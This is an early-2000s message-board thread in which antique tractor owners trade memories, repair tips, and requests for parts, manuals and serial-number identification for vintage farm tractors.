Donald Wilson wrote on Tuesday, September 10, 2002 (PDT): First tractor I ever drove, the D, nothing would stop it,I had to stop at the end of the field and turn the wheels and then start again,was a promblem turning around until I got stronger.once some custom cutters was cutting wheat they were told to stay out of the low spot, and they didnt they came and took our JD 70/and the ford tractor/ got them stuck also/as they dint know how to start the D,they came to town and got me. I went and started the D, and then hooked on to the ford,that was chained to the 70 that was chained to the combine,and then pulled the whole mess out !
Scrany wrote on Tuesday, September 10, 2002 (PDT):Justin, You can most likely find a manual and other items you might need on ebay under "Farmall B" I've found several items I needed there.
John Clarke wrote on Tuesday, September 10, 2002 (PDT):Exhaust Lift Farmall_A - needed information about parts for an Exhaust Lift either a manual or your knowledge
Mike Branch wrote on Monday, September 09, 2002 (PDT):Is there any way to find out the serial number if the plate is missing? I have a Super MTA. A 1953 or 1954. I'm not sure.
John Elwell wrote on Monday, September 09, 2002 (PDT):I need a motor for my G. What model or size Continental motor was used? any ideas about a suitable replacement motor? Thanks for any help. I live in New England. John
John Elwell wrote on Monday, September 09, 2002 (PDT):I need a motor for my G. What model or size Continental motor was used? any ideas about a suitable replacement motor? Thanks for any help. I live in New England. John
Greg McGlynn wrote on Sunday, September 08, 2002 (PDT):looking at purchasing a "B" the owner said the top left side of the block had cracked (due to frozen water) he bolted aplate over it with a gasket said he's had no trouble with it leaking. Should I be concerned with the crak ? will this plate contiue to hold ?
Harvey wrote on Saturday, September 07, 2002 (PDT):I am looking for fender mounts for a 44 special.
Justin Kuck wrote on Friday, September 06, 2002 (PDT):I am restoring a Farmall B for my senior class project this year and am looking for a manual to help in this endeavor? Can anyone help?? Thanks. I'm from Wisconsin.
Harlan Mehlhop wrote on Friday, September 06, 2002 (PDT):I have a Allis G and am looking for a blade as an attachment, where can I find one and what can I expect to pay? Thanks in advance......Harlan
wertenberger wrote on Friday, September 06, 2002 (PDT):I recently purchased 2 w 9s need info (wt. hp. ect.)Thank You for any info you give me !!!!
Russ Rinta wrote on Thursday, September 05, 2002 (PDT):I just bought a L. I now need a mower for it. Anyone have one for sale? Russ
Steve Davis wrote on Thursday, September 05, 2002 (PDT):I bought a 47 Leader Model D last October. It had set in a barn for about 10 years and had not been run. It was pure rust but solid. I thought it would be a fun project to bring the old gal back to life. Only took a few hours to get it running but had to break the tractor in half to unfreeze the clutch. After fixing the clutch, I started cleaning and repainting. I also had to have the hydraulics overhauled due to pitting and leaking around the shaft. I finished the project in time to run it in the local 4th of July parade. Pulled a wagon full of cub scouts. Henry, you seem to be the Leader King. I would like to exchange email photos of my Leader with you if you would like. Let me know.
Jim Bush wrote on Wednesday, September 04, 2002 (PDT):I'm restoring my fathers 1952 Case La and am looking for a case water temp guage and a case oil pressure guage that are in working order. Any comments welcome
David Sherman wrote on Tuesday, September 03, 2002 (PDT):I've blown the engine in my 2010 diesel backhoe and need to either rebuild or replace it. I haven't had any luck finding a good used engine. Seems to be a lot of people think that engine wasn't very good, and so far I can't disagree. Does anyone know where I might get a decent 2010 diesel engine in Washington or Idaho, or do you know of a source of rebuild parts other then JD themselves? Also, do any other engines fit? The backhoe is an additional complication with an engine swap because the hydraulic pump drives off the front end of the crank and my tranny has no PTO in it.
John wrote on Tuesday, September 03, 2002 (PDT):Please advise on removing the rear wheel 'web' from the axles on my '52 R. Is it as 'simple' as removing the two bolts and the retaining hub then sliding the web from the axle shaft? Does the wrb need to be pulled from the axle shafts with a puller? If you have done this and have advice or watch outs - please pass them on.
Andr Wessels wrote on Monday, September 02, 2002 (PDT):I intend shipping my old tractors to the USA from South Africa. I have a Farmall B in running original condition - worn tires. Anyone interested ?
ted agee wrote on Sunday, September 01, 2002 (PDT):Mr HAHN COULD YOU GIVE ME INFO ON A 48D LEADER OR A BOOK ON IT
Travis Hake wrote on Sunday, September 01, 2002 (PDT):I bought a vao at a sale recently and I was wondering what the letters stood for? Also the the plate with the serial number says its a vao but the decals say vac. IS that right or just a mistake by the previous owner? Any help would be appreacited. This is my first case tractor. The rest are either Farmall,Ford,or Massey Harris.
Jim Broughton wrote on Saturday, August 31, 2002 (PDT):George; CLEAN YOUR RADIATOR !! You should'nt have any cooling problems with your cub,if the radiator is functioning properly...they work on a syphon principle. LOL...Jim
Barry wrote on Saturday, August 31, 2002 (PDT):I purchased a 8n that smokes all the time. What usually is the cause of blue smoke and how to fix? Also the rear hydraulics won't work with the clutch pushed in, is that normal? Thanks for your help
Ken Kucille wrote on Friday, August 30, 2002 (PDT):Does anyone know what the part #'s are for the oil filter and spark plugs for a 81S? There seems to be some confusion re; the color of the engine? Red or Black?
Bob wrote on Thursday, August 29, 2002 (PDT):I am looking for a B Farmall I do not require it to have a motor. Preferably in the area in or around Montana
Ed.S wrote on Wednesday, August 28, 2002 (PDT):To ID your Ford Tractor 1953 to 1962,try Yahoo search,type in, THE VINTAGE FORD TRACTOR RESOURCE,paint schemes,SOS troubleshooting,emblems etc.can be found on this site.
Brad wrote on Tuesday, August 27, 2002 (PDT):We have a Massey 44-6 the ser number is 44-6-GR 3798 it is a great tractor. If anyone could help me with information on years and options i would appreciate it.
Gerard Klomp wrote on Tuesday, August 27, 2002 (PDT):Hi what can you tell me about a 1967 Massey Ferguson 450 sz crawler/loader? Thanks Gerard Klomp Parksville B.C.
Martin Harangozo wrote on Tuesday, August 27, 2002 (PDT):I used to have an O-14 I bought in 1980 at age 17 for $500. It ran excellent. It pulled a two bottom 12" plow easily. My uncle teased be about this tractor (for reasons I never understood), so I took it to a junkyard and scrapped it. Now I wish I still had it. It had fenders in the back down to the drawbar, and in front to the frame. Regards -Martin
Chris Parmer wrote on Tuesday, August 27, 2002 (PDT):We are turning a 1952 4 cylinder ford 8N into a V8 and we need to know if anyone knows how to make the adapter plate. This is being done at my school and we don't have the money to buy the adapter plate. If anyone knows how, please e-mail me.
george wrote on Tuesday, August 27, 2002 (PDT):does anyone know of a way to add a cicculating pump to the cooling system on a cub for better cooling?
Joe Koenig wrote on Sunday, August 25, 2002 (PDT):Dear Dave In the late thirties, I grew up on a farmall regular, would love to have one now, but no place in town to put one. One good way to tell a regular, on the on the end of the steering shaft is an open gear. The later f-21 had an enclosed gear box. Also the tranny is a 3 speed. On ours, the magneto hsfd as little gear called a kick gear. If that was in th up position when you cranked, you might go over the moon. Hope this helps you identify the tractor, but surely by now you have had several responses. I have no idea what one is worth, I guess the buyer decides that!! Good Luck. Joe
Mitch wrote on Sunday, August 25, 2002 (PDT):i am 15 years old and am looking for a running tractor for a small budget> I am in western wisconsin and am looking for a tractor somewhere close to this area if anyone has a tractor email me with more info and price thanks please include where you live
Bruce Turner wrote on Sunday, August 25, 2002 (PDT):I bought a retired 30 twenty years ago and used it to bush hog 13 acres 3 or 4 times a year. The only time I had trouble with it, was when water got down the exaust pipe one winter and rusted one cylinder bad. I freed it up changed the rings in that cylinder and ran it another 10 years with absolutely no trouble. I am told the old girl is worth as much now as when I bought it. I would like to see it restored but I have no patience with that kind of stuff.
Matt wrote on Sunday, August 25, 2002 (PDT):Theres one of these that I've seen at the Western Minnesota Steam Threshers Reunion in Rollag, MN. Stop by if your around Labor Day weekend. It's quite a sizeable show.
Eric Gardner of Hilton NY wrote on Saturday, August 24, 2002 (PDT):I have a VAI like this one with the straight axel on the front. I have a Woods 750 Back Hoe on it. This is a nice compliment to the LULL front end loader that came on it. I am looking for a spindle for the Right front. Mine broke at the outboard bearing. Anyone knows where I can find a good one let me know. Thank You ~Eric Gardner~
mario zamudio maasberg wrote on Saturday, August 24, 2002 (PDT): solicito informacion de donde podria comprar la bomba del hidraulico para un tractor ford super dexta le agradecere mucho la informacion
Taylor Dowdle wrote on Saturday, August 24, 2002 (PDT):does anyone know of anybody who has a G707
pat s. wrote on Friday, August 23, 2002 (PDT):we have a massey harris 44 special (gas). we are looking for parts in particular a gear ring and steering wheel.Could possibly need more. we have just started the restoration.Any help out there? we live in british columbia Canada.Thanks!
Kurt I. Jensen wrote on Friday, August 23, 2002 (PDT):Hi everybody! Yesterday I bought a MH model 81 (the 400th model produced, 1941) to compliment my MH 30 which I've used since 1967. Question. Before I hurt myself, will the 81 pull a 5 foot Brillion Bush hog? Appreciate advice before I give her too much a try. Thanks!!!
Charles Langley wrote on Friday, August 23, 2002 (PDT): I'm from La, and we have a 1933 john deere tractor with steele wheels and the 2 two cyl and the only thing wrong with it it needs to be timed and she will run again we call it JOHNNY "POP". we are about to sell "ole" Johnny and try to buy a new jonn deere 790 model . we didn't want to sell "ole" johnny pop but we have to have a newer madel to mow our property. thanks bigben.
Cheryl Walter wrote on Thursday, August 22, 2002 (PDT):Alberta, Canada; My dad has restored a Massey Harris 44 Diesel Row Crop Model 44C1RF and is looking to find out the value of this tractor to sell. The tractor has its original tires, though we're not even sure what year this tractor would be. We can partially read a serial number, or perhaps it is the complete serial number - 44529. If anyone can give us an idea of its value, or a web-site or place to contact to have this tractor evaluated, we certainly would appreciate it. Thanks!
Ed Hollier wrote on Wednesday, August 21, 2002 (PDT):Please correct email address. It's a dot net, not a dot com. My error. Thanks Ed h.
Ed hollier wrote on Wednesday, August 21, 2002 (PDT):Please correct my email address. It's not a dot com, its dot net. My error
John wrote on Tuesday, August 20, 2002 (PDT):I would like to know where to find the serial number tag on the JD 60 ORCHARD.Also how many years did they make this model and where they all 2 cylinders with hand clutches?..My Uncle used this tractor for many years and the engine sound is unmistakable..He passed away a few years ago and my brother and I would like to restore this tractor..The tractor has be sitting for a long time but is restorable but the tractor has been repainted a couple of times and I have no idea where to find the tag if it stll has one.If not how would i be able to tell what model year it is..Thanks very much for any info anyone can give me..John...
Terry Smith wrote on Monday, August 19, 2002 (PDT): I was looking at the AC B tractor, and it brought back many nice memories. My Grandfather had 2 tractors for his farm. This modle and the larger WC. Both were trycicle tractors, and magneto ignition. The larger WC was crank started, the smaller AC B was 6 volt starter, or crank. I spent many days on the AC B fixing fence, pulling a wagon with posts, wire, and tools. It was a wonderful small tractor for the work around Grandpas farm. I regret now that Grandpa sold both tractors in very good working condition over 20 years ago. They would be a prize to cherish, along with all the fond memories of sitting beside Grandpa as a child on that AC B's bench seat. Terry Smith.
Charles Lawrence wrote on Monday, August 19, 2002 (PDT):I have a model L 1941, fantastic condition, orginal tyres, engine just totally rebuilt. I want to buy a side belt pulley attachment to create an electric start. I am in the UK. Has anyone got one? Good price paid including shipment, customs clearance. Can arrange freight collection, custome etc etc.
G LETTICH wrote on Monday, August 19, 2002 (PDT):AWHILE BACK I SEANT AMESSAGE TO FIND PARTS FOR MY VAC CASE ITS A1951 BUT FORGOT TO GIVE MY E MAIL ADDRESS,NOW LOOKING FOR A CHARGING/LITE SWITCH FOR MINE IS SHOT,SEEMS HART TO FIND,ANY KIND OF HELP IS A BIG THANK YA
dON wrote on Sunday, August 18, 2002 (PDT):Looking for a working mag for this cat. Also what is the weight of this cat? would a 2 axle trailer haul it a few hundred miles?
stan kick, calmar, alberta, canada wrote on Sunday, August 18, 2002 (PDT):18 aug 02 wanted any info on minny 704 with permanent front wheel drive,very low serial number,also value.
Jim Broughton wrote on Sunday, August 18, 2002 (PDT):To; Doug Riesenberg..You didn't say where in Oregon..I'm in the Eugene area and a friend of mine has a little Cub that he no longer uses in his business..it is a 1959 model, with hydraulics (they were an add-on on his).He used it for sweeping pavement prior to striping the road or lot and has put the business up for sale. The Cub has been sitting for a little while now and he wants $450.00 for it.It's located in Springfield,Or. ; his name is Russ Pickett and his phone number is 541-747-7898...just tell him "Jim" sent you, O.K.? Hope this helps Jim
Jim Broughton wrote on Sunday, August 18, 2002 (PDT):To; C.Morris...If your Cub has been sitting up for awhile, chances are pretty good that the little oil "tube" that runs up to your oil filter is stopped up. You can clean it from above, but a better way is to remove the oil pan and "rod it" out from the bottom...while down there, you could check out your oil pump, but if it had good pressure before, I'd put my money on a stopped up oil line to the filter...they are famous for clogging up, especially if the oil is dirty or they have been sitting for a long time. Good luck !! Jim
Allen meyer wrote on Sunday, August 18, 2002 (PDT):I was given a 60 row crop. I really don't much about it. I need the fire order for it and any ideas why it will not fire. The tractor is in good condtion. It needs a paint job and the side fenders near the motor.
ANDRE wrote on Sunday, August 18, 2002 (PDT):I bouth a 1953 FORDSON [blue].I'm having problem to get parts since i d'ont know the model.HOW can i get more details? ANDRE
Daniel Whitlow wrote on Saturday, August 17, 2002 (PDT):my grandpa has a 1949 JD R. evry year i drive it through my home town parade.my grandpa also takes it to tractor pulls and always finishes in the top ten.
Ozzie wrote on Friday, August 16, 2002 (PDT):helping restore a 1970 cub sn 235736J It looks like it was yellow. Anyone and to the story? Tnx
Cameron wrote on Friday, August 16, 2002 (PDT):I picked up a 1958 971 SOS about a year ago to level and pull stumps on the homestead here in Alaska. Nice tractor with a lot more power than a 8N or Jubilee, actualy a little over kill on the power, have snapped several lift arms. I took out several dozen 12"-30" birch/spruce stumps with a sub-soiler and box blade. As far as tranny problems; alot of times it's only the selector handle out of adjustment and not engageing intended "notch" correctly. I have to agree with most of the other comments; SOS's make for great collectibles but if you are really going to work it, play it safe and stick with the gears.
Jody wrote on Thursday, August 15, 2002 (PDT): Well where do I start?Ok I have done lots of searching into the Pacer # 16 which I own have found out lots of thing.Every place I looked for info on the age no body was sure they said they only built them a short time.Well I found some one who knew he was a dealer in the late 40's and now his grandson and son run the dealership.He told me that Massey only offered the Pacer for 2 years which was 54&55 he even dug up his archives for me.They where the original priceing books for the dealers.That tell them price of tractor plus how much each option cost so they could tell the customer how much the tractor was going to cost.Well maybe I'm wrong but I needed to get that off my chest because that little wonder of a machine I've been with for 33 years now and it has never said no to anything that I have asked from it from plowing snow to bailng hay to plowing fields(not big ones).My grandfather purchased it for his little farm the spring of 54 it never saw the show room it was shipped directly to the farm and was preped there and in use that day pulling a speed sprayer.Alright I stop now thanks for reading what I wrote sorry it was so long.
Denis Michaud wrote on Wednesday, August 14, 2002 (PDT):Hey.....I learned how to dribe a tractor using my father's ''D'', gasoline powered 1949 model with no hydraulics. Clutch was a particular ease in then push for full engage.
virgil reinig wrote on Monday, August 12, 2002 (PDT):my dad had a vc in indiana on the farm during ww2 used it for everything they were super for there horse power . i would like to find a vac with wide front andeagle hitch in good condition with history if possible, would take narrow front would like it to be the last year they were built , i think that was 1955 to 1957 take serial # and subtract 4 from first 2 #s and that will be date built tel. # 260-627-2491 thanks
Virgil Reinig wrote on Monday, August 12, 2002 (PDT):i would like to know what was the last year they built the vac ? also want to buy a vac with eagle hitch and hyd. and wide front if posible must be in good condition would like to have histoy if posible tel. #260-627-2491 thanks.
Rob Sura wrote on Saturday, August 10, 2002 (PDT):I own John Deere R S/N-15015 Restoring it in my spare time,overhaul has been done,front bushing's need replaceing will have to weight until next year.am useing it spring and fall.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
Valerie Clark wrote on Saturday, August 10, 2002 (PDT):I am so happy to see my family's Star Drilling Machine in the background of this Russell picture. It sure brings back some great memories. My Grandfather, Harry Robinson, passed away Dec 25, 2001, and I am sure he would be very happy to know that someone (Vonzapp) recognized it. If anyone can recommend a way to find out how one goes about appraising something like this, please let me know. Thank you again.
ryan wrote on Saturday, August 10, 2002 (PDT):hi do m's and super m's weigh the same? i have a m with a super m kit has anybody heard of these?
jason marks of hereford pa wrote on Friday, August 09, 2002 (PDT):my father own about 11 oliver tractors and i own 3. a few years ago my brother talked me into buying a john deere 440 trackloader, something i didn't want. what i would really like to have is an oliver oc-6 gas or desiel, because of the model 77 engine used and the fact that it has both live pto and hydraulics. but i will take any oliver or cletrac crawler i can get, plus i'll even give the john deere 440 as trade. if anyone is has one for me let me know.
Sherer Pini wrote on Friday, August 09, 2002 (PDT):Does anyone can help me to find a carburetor and a magneto for McCORMICK 22-36
Phillip Curtis wrote on Tuesday, August 06, 2002 (PDT):I own a model R SN 16396. My tractor driver drove it with out water. The engine froze up. I am looking for parts.
Lorne Burbidge wrote on Tuesday, August 06, 2002 (PDT):I'm looking for the wholesale price of a 1949 John Deere model M.
Len Freeman wrote on Monday, August 05, 2002 (PDT):We had a 10-20, 2 H's which we still own, some M's and then several other later model IH machines, but I got to drive our neighbors F-20 on several occassions when I was a teen. My favorite part was the automatic brakes - some of you will remember - when the fron wheeel turned just so far it pulled a cable that engaged the brake on the appropriate side. Do that real fast and man what a ride. The 20 was not for the faint of heart. I'm almost done restoring a 1938 JD model D. I can hardly wait to get back to something red - maybe an F-30.
Bobby Morris wrote on Monday, August 05, 2002 (PDT):I recently given a 1937 AC B Model. Could someone tell how the magneto fires? Thanks, Bobby
Doug Riesenberg wrote on Monday, August 05, 2002 (PDT):I am looking for a Cub of any year, would love to have it in good condition as I would like to start using it this year. Located in Oregon.
anonymous wrote on Sunday, August 04, 2002 (PDT):It's me again. If anyone has an answer to my question, please write it on this message board, thanks!
anonymous wrote on Sunday, August 04, 2002 (PDT):I'm restoring an LA and I want to know what the difference is between L's and LA's (besides the rear wheels).
Raymond Wagner wrote on Sunday, August 04, 2002 (PDT):I am looking at a 60 to62 ac d15 diesel it runs has front end loader and good rubber little rusty but all there.Need to know good price to offer owner
victor wrote on Sunday, August 04, 2002 (PDT):farmall 100 hiclear rough shape what is it worth please let us know
Marv Dennis wrote on Saturday, August 03, 2002 (PDT):I have a 1948 CUB all refurbished to orignal condition. Had it all restored for sentimental reasons (used to be my Dad's) I am now in the process of moving and need to sell it. Any one interested may contact me at m e-mail address and I'd be happy to send yusome photos.
Phillip Curtis wrote on Saturday, August 03, 2002 (PDT):I own a R. I had just had the head and pony motor rebuilt. I had told my driver to keep a check on the fluids. We had been tring to break it in easy. I need a short block or a rotating assm. Or may be a R that has a lot wrong with other parts. Or may be someone has an R with a good eng ine. It made me sick when I pulled that pan.
shannon wrote on Friday, August 02, 2002 (PDT):Just bought a 1952 77 RC diesel. Not the easiest thing to start but runs great. I'm looking for side curtains, a 3-point hitch and a wide front end to fit it. I live in southern Indiana and bush-hogging with a tricycle tractor ain't no fun.
Dewaine wrote on Thursday, August 01, 2002 (PDT):I use to work for a farmer who had the 50 diesel. I almost brought a sping tooth drag up over the outside duel of this tractor. Fortunately I was looking to the inside of my turn and was able shut it down in time
Jerry Froehlich wrote on Wednesday, July 31, 2002 (PDT):I have a case that someone removed the ID tag from the panel But I found the numbers DC8025937 on the engine block near the clutch housing. Can someone tell what model it may be from this number . Year?
Priscilla wrote on Wednesday, July 31, 2002 (PDT):The correct spelling is RUMELY, after Meinard Rumely founder of the company.
Jim Coleman wrote on Wednesday, July 31, 2002 (PDT):Interested in purchasing a "G" model with mower in north Georgia area. Does anyone know of a loction and price. Also would like any attachments, especially cultivators and turning plows.
C. Morris wrote on Tuesday, July 30, 2002 (PDT):I have a 1949 cub,lost oil pressure.Has been sitting for a while.Can the pump be primed? Can it be the pump? thanks for the help.
john robinson wrote on Tuesday, July 30, 2002 (PDT):I HAVE A 1956 BLACKHAWK L THE L STANDS FOR LOW PROFILE THESE TRACTORS ARE VERY RARE AND OFTEN CAME WITH A WAGNER LOADER AND A SGUARE FRONT AXILE AND 14/9 28 REAR TIRES IT HAS A 42 HORSEPOWER HERCULES ENGINE
Jim Broughton wrote on Monday, July 29, 2002 (PDT):To; James Barrett Your tractor was produced about mid-year in 1959, so depending on the selling dealer could be a 1959 or 1960 model..it should have fast-tach hydraulics on it..it sounds very similar to mine..also a 1959 model. Good luck with it. Jim
Craig Beacock wrote on Monday, July 29, 2002 (PDT): I have just bought a 1939 Case D Trator. And was wondering if it is the same as the DI,DC. To young to know. If there is a differents Thanks
Bummie wrote on Monday, July 29, 2002 (PDT):We have a 1917 8-16 IH tractor in running condition. Grandpa is curious as to how many 1917's are still in existence. Does anyone know, or have an idea of how we could find out?
Robert Fellers wrote on Sunday, July 28, 2002 (PDT):I have a fully restored 1949 Cub that is the talk of the antique tractors show in our area. Have recently purchased a 1948 Cub to also restore. It needs a seat. Anyone in the Dayton, Ohio area know where one might be found?
James Barrett wrote on Saturday, July 27, 2002 (PDT):I have purchased a Farmall Cub with ser. #212988 J. I think I have found that the J stands for Rockford Clutch, but can not find out what year the tractor was made. The tractor has a sideplate that says McCormick Farmall and (2) small ovals that say cub. Can anyone tell me what year this tractor was made? Thanks!
Matthew wrote on Saturday, July 27, 2002 (PDT):I am a ffa student with my 1st project, farmall M, ser# FBK-19231. It has dual fuel, does any one know anything about this, where can I find parts? Is this a 1940 model
MILAN MCMANNIS wrote on Saturday, July 27, 2002 (PDT):LOOKING FOR SOME TIPS ON STRETCHING MY 9N HOOD FOR THE V8 CONVERSION. ANYONE HAVE A SECTION OF HOOD OR IS THERE ANOTHER ROUTE?
MILAN MCMANNIS wrote on Saturday, July 27, 2002 (PDT):HELLO, I AM DOING THE V8 CONVERSION AND AM LOOKING FOR A SECTION OF A 9N HOOD TO STRETCH MINE FOR THE RIGHT FIT. ANY HELPFUL TIPS OR DIRECTION?
Bob Ricklefsen wrote on Saturday, July 27, 2002 (PDT):Have ford 2000 tractor, 3 cyl.gas. Waster pump leaking, Purchased a new one and decided to replace it myself. I have the tractor in my garage at home. Have started to work on removing it to replace3 it. Ran into a problem and need help. Have removed the outside cover on the engine, and trying to get the old one. What do I need to do to get the old one out and the new one in? Have taken the altinator off and have 5 bolts on the water pump out at the top. I need help to know what to do next. Does the radiator need to be remove. Have removed the altinator. Will I hsve ro remore anythimg moe at the spesent tike. Beem on the all afternoon and most of this morning. Help..
Copper Head wrote on Friday, July 26, 2002 (PDT):Thanks for putting the Funk-Ford on the web. I didn't know there was such a critter.
John Boren, Jr. wrote on Friday, July 26, 2002 (PDT):I have a UTS serial #310126. Would like to know the year model and where to find parts. I am looking forward to restoring it. It has no hydraulics or starter. It has a magnito and a plate where the starter should be. Does anyone know the year model? Thanks, John
Phillip wrote on Friday, July 26, 2002 (PDT):Looking for gear fork with low & reverse on it. It is for a 1951 Farmall Cub. It this is what it is called. Please e-mail me with any information. Thanks
Henry Baskeyfield wrote on Friday, July 26, 2002 (PDT):i just bought a cub tractor not sure what year it is the sideplate says mccormick framall on it it has a international plate on the front and two small ovals ont the front sides that say cub can any one help me indentfy the year or tell me where to go to find out
Eli C. Gingerich wrote on Friday, July 26, 2002 (PDT):I just bought a Oliver 60 row crop, it is very neer complete in the restoring process. I had this tractor in the early 80's and my brother got it, but now I have it back. It is a sweet tractor.
Richard wrote on Thursday, July 25, 2002 (PDT):My father farmed with John Deere equipment, but my grandfather's largest tractor at the time was a ZAU. I remember this tractor real well. I spent many hours on it with grandpa. I hope to find it soon and bring it home.
D,J. wrote on Wednesday, July 24, 2002 (PDT):I LIVE IN THE PHOENIX AREA. I AM LOOKING FOR A VERY NICE CUB. MUST BE CORRECT AND RUNNING WELL. PLEASE NO JUNK . PLEASE SEND A E-MAIL
Dan Millard (age 14) wrote on Monday, July 22, 2002 (PDT):I have a super MD wide front in restoration right know. It runs great!! I am a member of the IHC club of the ontario chapter 20. I just reasontly came back from ATHENS, Ontario (near brockville) we had our red power show there this year. Please e-mail me any time with pictures that might help me along with this restoration. Dan Millard Caledonia, Ontario Canada
Dan Martin wrote on Sunday, July 21, 2002 (PDT):I have a 1943 -1945 BN series tractor. Runs great and looking for information on this. What is it worth.
Johnny Lake wrote on Sunday, July 21, 2002 (PDT):I live in north central Texas about 60 miles south of Dallas. I am looking for a belly mower for my 1950 cub. If someone has one for sale in this area contact me by e-mail. Thanks Johnny
Tim May wrote on Saturday, July 20, 2002 (PDT):im lookin for a m in new zealand any body got 1 snd me a e-mail
Tim May wrote on Saturday, July 20, 2002 (PDT):lookin for a f-20 in new Zealand if any body has one send me an e-mail
Gregg wrote on Saturday, July 20, 2002 (PDT):Does anyone have a B international hood for sale in the Kansas or Missouri area.
bob wrote on Friday, July 19, 2002 (PDT):Oliver bought Cletrac in 1945. Anyone with an interest in these tractors should belong to the HART-PARR/OLIVER COLLECTORS Assn. Bi monthly mag full of stories and tech info as well as ads for parts and services. contact hpocacc at fiai.net. The best scource for cletrac parts and advice is Zimmerman Oliver-cletrac, Ephrata Pa, 717-738-2573,mon-fri 7-5 EST.
Raymond Haas wrote on Friday, July 19, 2002 (PDT):Gotta Love That 2 Banger; I was told as a boy that you could set an R JD on 4 coke bottles 'right' then ic Smith Center Kansas at the County Fair they set one of Lenord Peterson's R JDs on 4 coke bottles. If I haden't seen it I would not have beleived it, and my own dad told us about it beforhand. Peterson now builds Excell RVs in Smith Center Kansas.
Jim wrote on Friday, July 19, 2002 (PDT):I have a 56 300 IH utility that my dad bought in 1958. We used it to farm for many years. It is still in very good condition except for the PTO will not stay engaged. My dad (before he passed) wired a stiff spring to the on-off lever to hold it up and keep the PTO turning. Can anyone help me with info about repairing the problem so that I can eliminate the spring? I would also like to find a power unit to convert from manual steering.
steve wrote on Wednesday, July 17, 2002 (PDT):I have a BlackHawk Golden Eagle 40D4 ser.No. 31531 like to know more about. Plus value good shape. Wooster,Ohio
BILL SPEARMAN wrote on Wednesday, July 17, 2002 (PDT):I AM LOOKING FOR A BN OR B FARMALL TRACTOR IN THE TWO (2) CAROLINAS AND GEORGIA. RESTORED IS GOOD BUT ONE THAT CAN BE RESTORED IS REALLY MY GOAL. PHONE NUMBERS; WORK; 800-537-4855 HOME; 864-292-1643
George wrote on Wednesday, July 17, 2002 (PDT):Hello, evryone! I'm George from Russia. I have a 444 about 1951 year of manufacturing. The engine has some defects. I'm looking for engine parts; cilinders and others. I also can purchase a complete engine. It would be so gread if anyone could help me.
tim emmersom wrote on Tuesday, July 16, 2002 (PDT):our beagle club has an oliver super 55 that was bought shortly after the club was form the gas motor has been overhauled recently and new clutch the tractor is in very good shape we are thinking of selling it what would be a fair price
Zach wrote on Monday, July 15, 2002 (PDT):I was looking at buying a JD A but im not sure what year it is. It has the slanted dash where the gages are, I was wondering if someone could tell me know inbetween what year it is. Any information would surely be appreciated thank's.
Gene Cockrell wrote on Saturday, July 13, 2002 (PDT):I bought a 1940 B a couple years ago and it came with several implements; There is a two disk plow (Athens Plow Co.) an several A-C items; a seeder with a bunch of star wheels, a 1-row plow, some type of subframe that mounts under the tractor, some cultivator heads, a non-hydraulic drawbar (tractor has 1 cylinder hydraulic lift drawbar now). Question is, I bought the tractor for shredding and moving stuff around. This it does pretty well but how do you use the other implements?
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):Spent some of the best years of my younger life on two Farmall Hs, one a low-compression '41, the other a high-compression '51. Much, much more comfortable than an F-20, very easy to drive (more like an F-14), nice, agile chore tractor. Needed another gear between 4th and 5th, because 5th was just too high to be used with the engine throttle back to get 6-8 mph, as you often wanted to go over a gravel road or to haul a load of hay on such a road or on a path through the fields. The engine speed had to be kept up when the tractor was heavily loaded. With only 152 cubic inches, there really wasn't much torque for the heavy going (an F-20, with 221 cubic inches, just could not be stopped when the soil got heavy; it might slow down, but would just keep chugging along; the H would bog down and die on you if the going got too heavy). I always thought the H was the most beautiful tractor design EVER, but I must say that I was disappointed in the lack of power. Very nice to drive, by comparison with the older stuff, although today it seems pretty crude after you've been aboard one of these super-duper air-conditioned, power-everthing modern wonders.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I spent a lot of time on an F-20 in the 40s, and have owned a couple since 1980 (sadly, had to sell them when I moved into town last year). A really rough riding beast, with steering that was fairly easy but could break your arm if you hit a rut and were leaning through the spokes of the wheel, as lots of people used to do. Tremendous torque. Everybody said that the Farmall H couldn't keep up with an F-20, and I'm here to tell you it's true. The F-20 was designed to put out about 15 horsepower at the drawbar ON STEEL WHEELS. When it was converted to rubber, it became a roaring, snorting beast. I estimate the drawbar horsepower to be about 23 on rubber and burning gasoline. That is several more than the drawbar horsepower of a rubber-tired H. Besides, the engine has 221 cubic inches, versus 152 for the H, so there is a huge amount of torque. I used to love the beast. A few years ago, I bought an old F-20 and took it out in a rough meadow to do some "bushhogging." Wow, what a rough ride! I still admired the old gal, but I sure wouldn't want to do a lot of farm work with one today! Indestructible machinery--everything heavily made, big ball bearings on the crank, huge gears in the transmission and final drive.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I used to use a "Regular" Farmall that belonged to a neighbor. It was on 36" rubber, and except for the lack of the extra gear, it performed very much like the F-20 that I also used back then (early 40s). The Nebraska test is deceptive, because the earliest Farmall had a 1" carburetor opening. Later models had 1-1/4", the same as the F-20. The carb and manifold were different, but I believe that the developed horsepower was very similar for both tractors after the carb change. I do not believe that IHC ever called this tractor "Regular." Everybody else did, of course. You'd hear this; "Well, she ain't a F-20, she's jist a reg'ler Farmall." I have some old catalogs from parts suppliers, and they refer to the tractor as "Regular." Still, I have only seen "the original Farmall" or "the Farmall" in International sales brochures or advertisements in farm magazines from the 30s. This tractor and the F-20 were so common that many modifications were made to them. It was possible to buy overdrive transmissions, to double the speed, variable governor kits, a brake handle for the right side, foot brakes, and gasoline manifolds. This is one reason why people like Ertl make some royal booboos in their models of these tractors. I'd guess they go out and find a "restored" tractor, but don't know enough about it to realize that the governor has been changed, the manifold is not original, or a magneto other than the original type has been put on after the E4A or F-4 has bitten the dust. Oh, well!
